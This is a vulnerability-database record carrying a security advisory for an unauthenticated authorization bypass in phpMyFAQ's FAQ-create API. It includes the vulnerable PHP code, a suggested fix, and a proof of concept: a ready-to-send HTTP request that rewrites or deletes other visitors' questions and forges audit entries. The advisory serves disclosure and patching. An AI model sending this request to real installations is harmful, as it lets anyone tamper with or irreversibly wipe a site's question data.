{"schema":"threatline.record/2","record":{"id":"GHSA-9m55-g84r-x6v7","aliases":["GHSA-9m55-g84r-x6v7"],"summary":"Unauthenticated object-level authorization bypass in POST /api/faq/create (openQuestionID): rewrite (7.5) or delete (9.1) any visitor question","details":"### Summary\r\n\r\n`POST /api/faq/create` accepts a client-supplied `openQuestionID`, casts it to an integer and then uses it directly as the `WHERE` key of a write against the `faqquestions` table - with no ownership check, no visibility check and no permission check.\r\n\r\nAny anonymous visitor who solves the graphical CAPTCHA can therefore rewrite any visitor-submitted question: its category and its \"answered\" link are overwritten, and an \"answered\" entry is forged in `faqquestion_history` with an attacker-chosen user name.\r\n\r\nWith the administrator option `records.enableDeleteQuestion` enabled, the very same request permanently deletes the targeted question instead - no soft delete, no revision trail for questions, unrecoverable without a database backup.\r\n\r\nSeverity:\r\n\r\n- shipped default configuration: **CVSS 3.1 7.5 High** - `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N`\r\n- with `records.enableDeleteQuestion = true`: **CVSS 3.1 9.1 Critical** - `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H`\r\n\r\nNo account, no CSRF token and no user interaction are required. Verified against phpMyFAQ 4.2.0-beta (`development-nightly-2026-09-22`) on 2026-10-08, and the vulnerable code is still unchanged in `main` @ `ffc4e50` (2026-10-07). No CVE ID and no GitHub Security Advisory covers this issue as of 2026-10-08.\r\n\r\n\r\n### Details\r\n\r\n## Affected code\r\n\r\n`phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php`, method `create()` (route `POST /api/faq/create`), lines 200-229 in `main` @ `ffc4e50`:\r\n\r\n```php\r\n$openQuestionId = property_exists($data, 'openQuestionID')\r\n    ? Filter::filterVar($data->openQuestionID, FILTER_VALIDATE_INT)   // :201  integer cast only\r\n    : false;\r\nif ($openQuestionId) {                                                // :203  no ownership /\r\n                                                                      //       visibility /\r\n                                                                      //       permission check\r\n    try {\r\n        $this->questionHistory->add(new QuestionHistoryEntity(        // :205  forged audit row\r\n            questionId: (int) $openQuestionId,\r\n            questionLanguage: $faqEntity->getLanguage(),\r\n            eventType: QuestionHistoryEventType::Answered,\r\n            userId: $this->currentUser->getUserId(),\r\n            username: $this->currentUser->getLogin() !== ''\r\n                ? $this->currentUser->getLogin()\r\n                : $faqEntity->getAuthor(),                            // :210-212 attacker-controlled\r\n            faqId: (int) $recordId,\r\n        ));\r\n    } catch (InvalidArgumentException $exception) { /* ... */ }\r\n\r\n    if ($this->configuration->get(item: 'records.enableDeleteQuestion')) {\r\n        $this->question->delete($openQuestionId);                     // :222  -> DELETE\r\n    }\r\n\r\n    if (!$this->configuration->get(item: 'records.enableDeleteQuestion')) {\r\n        $this->question->updateQuestionAnswer(\r\n            (int) $openQuestionId, (int) $recordId, (int) $categories[0]  // :227  -> UPDATE\r\n        );\r\n    }\r\n}\r\n```\r\n\r\nThe identifier is never compared against the requesting session, never checked against `faqquestions.is_visible`, and never checked against the caller's permissions. Only an integer cast is applied.\r\n\r\n## The two sinks\r\n\r\n- `phpmyfaq/src/phpMyFAQ/Question/QuestionRepository.php:229-240`\r\n  `UPDATE %sfaqquestions SET answer_id = %d, category_id = %d WHERE id = %d`\r\n- `phpmyfaq/src/phpMyFAQ/Question/QuestionRepository.php:67-78`\r\n  `DELETE FROM %sfaqquestions WHERE id = %d AND lang = '%s'`\r\n\r\nBoth use the attacker-supplied identifier as the `WHERE` key. Neither carries an `answer_id`, `is_visible` or ownership predicate. `Question::delete()` is reachable from the public controller via `Question.php:54-57`.\r\n\r\n## Why the existing guards do not help\r\n\r\n- The only gate in front of the block is `isAddingFaqsAllowed()` (`FaqController.php:280-285`), which is a feature switch, not an authorization control. `records.allowNewFaqsForGuests` defaults to `true` (`Setup/Installation/DefaultDataSeeder.php:176`), so on a stock installation anonymous visitors pass it.\r\n- The endpoint does not verify a CSRF token at all.\r\n- The graphical CAPTCHA (`AbstractController.php:610-623`) is an anti-automation measure; it is not part of the authorization model.\r\n- `property_exists()` is case-sensitive for PHP object properties, so the parameter must be spelled exactly `openQuestionID` (capital D) and must not be `0`. The real front-end JavaScript sends `openQuestionId` on the update path, which is why this defect is easy to miss in manual testing.\r\n\r\n## Severity depends on one administrator checkbox\r\n\r\n- `records.enableDeleteQuestion = false` (**shipped default**, `DefaultDataSeeder.php:172`) -> the `UPDATE` branch -> **CVSS 7.5 High**, `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N`.\r\n- `records.enableDeleteQuestion = true` -> the `DELETE` branch -> **CVSS 9.1 Critical**, `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H`.\r\n\r\nThe option is an ordinary checkbox labelled \"Delete open question after answer?\" (`phpmyfaq/translations/language_en.php:1028`). It is a content-hygiene setting with no security semantics - nothing in the label or the surrounding configuration page suggests that enabling it changes the authorization model or exposes a destructive primitive to anonymous visitors. The vulnerable state is therefore one administrator click away from the shipped default, and an operator has a legitimate, non-security reason to choose it.\r\n\r\n## The `lang` filter of the DELETE is attacker-controlled\r\n\r\n`Question::delete()` passes the current request language (`Question.php:54-57`), and `FaqController.php:81-83` resolves that language with `setLanguageWithDetection()` because `main.languageDetection` defaults to `true` (`DefaultDataSeeder.php:122`). The attacker therefore chooses the language simply by requesting one first. Verified on the target:\r\n\r\n```text\r\nvictim row: 7  en  hr-boss  1  N  0\r\n\r\nPOST /api/faq/create?lang=de   -> HTTP/1.1 200 OK  {\"success\":\"Vielen Dank f\\u00fcr diesen Vorschlag!\"}\r\n                                  SELECT COUNT(*) FROM faqquestions;  =  1   (no match, row survives)\r\n\r\nPOST /api/faq/create?lang=en   -> HTTP/1.1 200 OK  {\"success\":\"Thank you for your suggestion!\"}\r\n                                  SELECT COUNT(*) FROM faqquestions;  =  0   (row deleted)\r\n```\r\n\r\nThe localized success message in the first attempt is itself proof that the attacker's language choice reached the server.\r\n\r\n## The same capability is properly authorized elsewhere\r\n\r\n`Controller/Administration/Api/QuestionController.php` requires an admin session, a CSRF token and `PermissionType::QUESTION_DELETE`. The public open-questions list only exposes rows with `is_visible = 'Y'` (`Helper/QuestionHelper.php`). Operating on an open question chosen by its ID was therefore never meant to be reachable without a session - the front-end controller simply lost the check.\r\n\r\n## Verification status (2026-10-08)\r\n\r\n- `main` @ `ffc4e50cc385ec9c684a9434e7fc7b500098490e` (version 4.2.0-beta, 2026-10-07): lines 200-229 unchanged -> still vulnerable.\r\n- `4.1-nightly-2026-10-07`: same code (file sha `534ae29b`).\r\n- The only commits touching that file since 2026-09-22 are `b003d042` and `2ab81b8164`, both `chore(mago)` refactors that do not modify the authorization logic.\r\n- Existing CVEs checked: CVE-2026-56736, CVE-2026-56737, CVE-2026-56738, CVE-2026-76214, CVE-2026-46366, CVE-2026-49205 - different components and root causes. None of the repository's published advisories covers this issue.\r\n\r\n## Suggested fix\r\n\r\n```php\r\n$openQuestionId = Filter::filterVar($data->openQuestionID ?? null, FILTER_VALIDATE_INT);\r\n\r\nif ($openQuestionId) {\r\n    // (a) the referenced question must exist\r\n    $question = $this->question->get($openQuestionId);        // [] when the id is unknown\r\n    if ($question === []) {\r\n        return $this->json(['error' => Translation::get(key: 'ad_msg_noauth')],\r\n                           Response::HTTP_FORBIDDEN);\r\n    }\r\n\r\n    // (b) the caller must be allowed to answer *this* question: either it is the question\r\n    //     this very session submitted (bound by a one-time token), or the caller holds the\r\n    //     permission to work on other people's questions.\r\n    $sessionClaim = (string) $this->session->get('pmf-open-question-' . $openQuestionId);\r\n    $isOwnQuestion = $sessionClaim !== ''\r\n        && hash_equals($sessionClaim, (string) ($data->claimToken ?? ''));\r\n    $mayAnswerOthers = $this->currentUser->perm->hasPermission(\r\n        $this->currentUser->getUserId(),\r\n        PermissionType::QUESTION_ADD->value,\r\n    );\r\n\r\n    if (!$isOwnQuestion && !$mayAnswerOthers) {\r\n        return $this->json(['error' => Translation::get(key: 'ad_msg_noauth')],\r\n                           Response::HTTP_FORBIDDEN);\r\n    }\r\n\r\n    // (c) keep the history entry and the answer link, but never delete from a public route:\r\n    //     drop the records.enableDeleteQuestion branch entirely.\r\n}\r\n```\r\n\r\nDeletion should stay behind `PermissionType::QUESTION_DELETE` in `Controller/Administration/Api/QuestionController.php`. The same object-level check should be applied to every public write endpoint that accepts a client-supplied identifier (`Controller/Frontend/Api/**`), and the existing `RateLimiter` (already used by `Frontend/Api/QuestionController.php`) should be put in front of `/api/faq/create`.\r\n\r\nA full report with annotated screenshots and raw HTTP evidence is available; I can attach it if useful.\r\n\r\n\r\n### Proof of concept\r\n\r\n## Preconditions (all shipped defaults)\r\n\r\n- `records.allowNewFaqsForGuests = true` (default)\r\n- `spam.enableCaptchaCode = true` (default) - the CAPTCHA is an anti-automation measure, not an authorization control\r\n- a victim open question exists (the normal state of any FAQ site; visitors submit via `/add-question.html`)\r\n- for the 9.1 variant only: `records.enableDeleteQuestion = true`\r\n\r\nSeed a victim question that is hidden from the public (`is_visible = 'N'`, so the attacker cannot see it anywhere in the UI):\r\n\r\n```sql\r\nINSERT INTO faqquestions (id, lang, username, email, category_id, question, created, is_visible, answer_id)\r\nVALUES (7, 'en', 'hr-boss', 'hr@example.org', 1, 'Confidential: pending salary review',\r\n        20260923000000, 'N', 0);\r\n```\r\n\r\n## Step 1 - anonymous session and CAPTCHA\r\n\r\nGET /api/captcha  ->  HTTP/1.1 200 OK, Content-Type: image/jpeg. Read the six characters (manually or by OCR).\r\n\r\n## Step 2 - the anonymous request\r\n\r\nNo cookies other than an anonymous `PHPSESSID`, and no CSRF token:\r\n\r\n```http\r\nPOST /api/faq/create HTTP/1.1\r\nHost: <target>\r\nContent-Type: application/json\r\nCookie: PHPSESSID=<anonymous session>\r\nContent-Length: 350\r\n\r\n{\"captcha\": \"<code>\", \"openQuestionID\": \"7\", \"revisionId\": \"0\", \"faqId\": \"0\", \"question\": \"Attacker controlled FAQ\", \"answer\": \"Attacker controlled answer\", \"name\": \"attacker\", \"email\": \"attacker@evil.example\", \"keywords\": \"poc\", \"rubrik\": \"2\", \"grouppermission\": \"all\", \"userpermission\": \"restricted\", \"restricted_users\": \"1\", \"status\": \"published\"}\r\n```\r\n\r\nResponse:\r\n\r\n```http\r\nHTTP/1.1 200 OK\r\nContent-Type: application/json\r\n\r\n{\"success\":\"Thank you for your suggestion!\"}\r\n```\r\n\r\n## Step 3 - result with the shipped default (`records.enableDeleteQuestion = false`, CVSS 7.5)\r\n\r\n```text\r\nbefore:  7  en  hr-boss  category_id=1  is_visible=N  answer_id=0\r\nafter:   7  en  hr-boss  category_id=2  is_visible=N  answer_id=1\r\n\r\naudit row written by the same anonymous request:\r\n1  7  answered  -1  attacker  1  20261008133652\r\n```\r\n\r\nObservable in the backend: on `Admin -> Questions` the heading above the victim's question text changes from category `1` to category `2`, and `Admin -> Questions -> History` (`/admin/questions/history/7`) gains an `answered / attacker` entry. The attacker's draft FAQ also appears under `Admin -> FAQs`.\r\n\r\nNote the row does **not** disappear from the open-questions list: that list has no `answer_id` filter (`QuestionRepository::getAll()`, lines 129-173) and, with the default `records.enableCloseQuestion = false`, its action button is built from `question.id` rather than `answerId` (`assets/templates/admin/content/open-questions.twig:66`).\r\n\r\n## Step 3' - result with `records.enableDeleteQuestion = true` (CVSS 9.1)\r\n\r\nThe request is byte-for-byte the same and the response is byte-identical. Afterwards:\r\n\r\n```text\r\nSELECT COUNT(*) FROM faqquestions;   ->   0\r\nAdmin -> Questions renders 0 rows.\r\n\r\nthe forged audit row survives the deletion:\r\n1  7  answered  -1  attacker  1  20261008140730\r\n```\r\n\r\nThere is no soft delete and no revision table for questions, so the destroyed content is unrecoverable without a database backup. Because ids are small sequential integers, the whole queue can be enumerated and emptied, one anonymous request per row.\r\n\r\n## Reproduction script\r\n\r\nI can provide a dependency-free Python 3 script (~250 lines, standard library only, pure HTTP client - no account, no CSRF token, no database access) that performs the above and prints the full raw request/response pair. It is run as:\r\n\r\n```bash\r\npython3 poc_openquestion_idor.py --url https://<target> --question-id 7 --category-id 2 --insecure\r\n```\r\n\r\nHappy to attach it, or I can place it in a gist - just say which you prefer.\r\n\r\n\r\n### Impact\r\n\r\nA remote, unauthenticated attacker can modify or permanently destroy any visitor-submitted question in the installation.\r\n\r\n**Integrity (High)** - any row of `faqquestions` can be rewritten: its category and its \"answered\" link. Visitors' questions are silently re-filed under an attacker-chosen category and recorded as answered by an unrelated FAQ, so the moderation queue shows a falsified state. The same request writes an `answered` entry into `faqquestion_history` with an attacker-chosen `username`, so a named employee can be made to appear as the person who answered a question. The entry survives even if the question is later deleted.\r\n\r\n**Availability (High when `records.enableDeleteQuestion = true`)** - the targeted question is deleted outright. There is no soft delete and no revision trail for questions, so it is unrecoverable without a database backup. Question ids are small sequential integers, so the entire question queue of the installation can be enumerated and emptied with one anonymous request per row. The victim and the administrators receive no notification.\r\n\r\n**Confidentiality** - none through this vector.\r\n\r\n**Who is affected** - every phpMyFAQ 4.2.0-beta installation (and the 4.1 nightly) with `records.allowNewFaqsForGuests = true`, which is the shipped default; the 7.5 case therefore applies out of the box. Deployments that enabled the \"Delete open question after answer?\" option are exposed to the 9.1 case, where any visitor question - including ones deliberately hidden from the public (`is_visible = 'N'`) - can be destroyed anonymously and irreversibly.\r\n\r\nFor any site that uses the ask-a-question workflow as a support or contact intake, the intake channel can be wiped anonymously.\r\n","categories":["Unclassified"],"product":"phpmyfaq","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9m55-g84r-x6v7","source_modified_at":"2026-10-10T05:25:50Z","fetched_at":"2026-10-26T00:08:39.284423Z","package":{"ecosystem":"","name":"phpmyfaq"},"range":"<= 4.2.0-beta"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9m55-g84r-x6v7","source_modified_at":"2026-10-10T05:25:50Z","fetched_at":"2026-10-26T00:08:39.284423Z","package":{"ecosystem":"","name":"phpmyfaq"},"version":"4.1.10"}],"cvss":7.5,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-10T05:25:50Z","modified_at":"2026-10-10T05:25:50Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9m55-g84r-x6v7","fetched_at":"2026-10-26T00:08:39.284423Z","source_modified_at":"2026-10-10T05:25:50Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-10T05:25:50Z","content_hash":"4c81803ea064ef0c959b2554a6a80ebb9cbff90d6806680326b09b5ba398e98a"}}
